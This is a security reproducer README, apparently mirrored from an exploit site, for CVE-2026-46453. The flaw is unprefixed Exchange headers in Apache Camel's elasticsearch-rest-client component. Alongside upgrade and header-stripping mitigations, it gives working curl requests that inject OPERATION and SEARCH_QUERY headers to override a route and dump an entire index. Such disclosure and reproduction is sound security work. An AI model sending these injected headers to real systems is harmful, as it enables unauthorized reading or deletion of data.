Share
## https://sploitus.com/exploit?id=79317459-0EB7-531C-8084-E743DF23A82B
# camel-elasticsearch-rest-client Unprefixed-Header Injection Reproducer (CVE-2026-46453)

This project demonstrates a **message-header injection / authorization bypass** in Apache Camel's
`camel-elasticsearch-rest-client` component, tracked as **CVE-2026-46453**. The component reads several Exchange
headers to control its behaviour โ€” `SEARCH_QUERY`, `OPERATION`, `INDEX_NAME`, `INDEX_SETTINGS`, `ID`. In the
affected versions these header **string values** are plain, **unprefixed** names (`"OPERATION"`,
`"SEARCH_QUERY"`, โ€ฆ) rather than the `Camel`-prefixed names every other component uses. Camel's inbound
`HttpHeaderFilterStrategy` blocks only names that start with `Camel`/`camel`, so these headers **pass the
inbound filter unchanged**. When a route exposes an HTTP entry point (e.g. platform-http) in front of an
elasticsearch-rest-client producer, an untrusted HTTP client can set these headers directly and **override the
query and operation** the route author configured โ€” reading the whole index, deleting documents, etc. No
credentials are required.

Advisory: https://camel.apache.org/security/CVE-2026-46453.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-elasticsearch-rest-client` |
| **Affected constants** | `ElasticSearchRestClientConstant` โ€” `ID`, `SEARCH_QUERY`, `INDEX_SETTINGS`, `INDEX_NAME`, `OPERATION` (unprefixed values) |
| **CWE** | CWE-20 (Improper Input Validation) + CWE-639 (Authorization Bypass Through User-Controlled Key) |
| **Impact** | Untrusted HTTP client overrides the ES operation/query โ€” read/delete/exfiltrate documents |
| **Affected Versions** | From 4.3.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23508 |
| **Reporter** | Yu Bao (PayPal) |

> Same header-injection family as CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 and
> CVE-2026-47323 โ€” all stemming from components reading inbound headers the default `HeaderFilterStrategy`
> doesn't block because the names don't start with the `Camel` prefix.

## Technical Details

```java
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
```

`HttpHeaderFilterStrategy` blocks only `Camel*`/`camel*`, so an inbound HTTP header `OPERATION: SEARCH` (and
`SEARCH_QUERY: {...}`) passes through and overrides the route author's `operation=GET_BY_ID`. The fix
(4.14.8 / 4.18.3 / 4.21.0) renames the **values** to `CamelElasticsearchOperation`, `CamelElasticsearchSearchQuery`,
etc., so the inbound filter blocks them (the Java field names are unchanged).

## The victim route

```java
from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=&operation=GET_BY_ID&indexName=products");
    // route author intends a single, safe operation: fetch one document by id
```

An attacker's HTTP request with `OPERATION: SEARCH` + `SEARCH_QUERY: {"query":{"match_all":{}}}` overrides that
and dumps the whole index.

## Repository layout

The **victim** is the Camel route; the **attacker** is any HTTP client that can reach the platform-http
endpoint. The reproducer runs a real **Elasticsearch** in Docker and the Camel app on the host (the app talks to
ES over the mapped port).

```
CVE-2026-46453/
โ”œโ”€โ”€ pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
โ”œโ”€โ”€ docker-compose.yml      # Elasticsearch 8.15.3 (security disabled)
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ EsSeeder.java           # seeds a "public" and a "secret" document
    โ”‚   โ”œโ”€โ”€ VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    โ”‚   โ””โ”€โ”€ ExploitController.java  # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

## Prerequisites

- Java 17+ and Maven 3.8+
- Docker (runs Elasticsearch)

## Reproduction Steps

### Step 1: Start Elasticsearch

```bash
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200
```

### Step 2: Build and run the app (on the host, talking to the ES container)

```bash
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup
```

### Step 3: Trigger the header injection

```bash
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   secret leaked: true
#
# >>> Header-injection proof โ€” attacker overrode the operation and read the whole index: true
```

You can also do it by hand โ€” the injected headers pass straight through platform-http's inbound filter:

```bash
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
```

### Cleanup

```bash
docker compose down
```

## Attack Vectors

Any route that exposes an HTTP entry point in front of an elasticsearch-rest-client producer. The attacker sets
`OPERATION`, `SEARCH_QUERY`, `INDEX_NAME`, `INDEX_SETTINGS`, or `ID` on the inbound HTTP request; they bypass the
`Camel`-prefix inbound filter and reach the producer.

## Exploit Conditions

1. An HTTP consumer (e.g. platform-http) routing to an elasticsearch-rest-client producer on an affected version.
2. The default `HttpHeaderFilterStrategy` (blocks only `Camel*`), which does not cover the unprefixed ES headers.

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23508), which prefixes the header values with `Camel` so the
inbound filter blocks them.

## Mitigation

Until upgrading, strip the affected headers from untrusted inbound messages before the producer:

```java
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
```

or apply a custom `HeaderFilterStrategy` that blocks these names.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.